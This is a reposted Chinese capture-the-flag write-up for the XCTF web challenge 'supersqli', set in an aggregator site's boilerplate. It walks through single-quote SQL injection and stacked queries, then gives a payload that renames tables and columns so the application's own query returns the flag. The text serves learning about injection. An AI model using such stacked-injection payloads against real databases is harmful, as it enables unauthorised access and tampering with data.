xctf-web supersqli

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了xctf-web supersqli，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含874字，纯文字阅读大概需要2分钟。

内容图文

单引号注入，用order by查到了两个column。用union select的时候发现select关键字被过滤了

用分号尝试堆叠注入显示出了两张表

 

分别查询字段

flag在表1919810931114514中

方法一：

words中有字段id，id应该为表单查询语句中的查询字段。可以猜测sql语句为:select * from words where id=‘‘;

因为没有限制alter，rename和change。所以可以通过修改表名来查flag。只需要把原本的words改成其他名字，1919810931114514表改为words，然后把字段flag改为id即可

 

payload：

1‘；alter table words rename to （任意名称）;

alter table `1919810931114514` rename to words;

alter table words change flag id varchar(20);--+

(妙啊~~)

其他方法后续更新

xctf-web supersqli

标签：union   img   where   load   堆叠   order by   关键字   column   字段   

本文系统来源：https://www.cnblogs.com/remon535/p/12651327.html

内容总结

以上是互联网集市为您收集整理的xctf-web supersqli全部内容，希望文章能够帮你解决xctf-web supersqli所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

---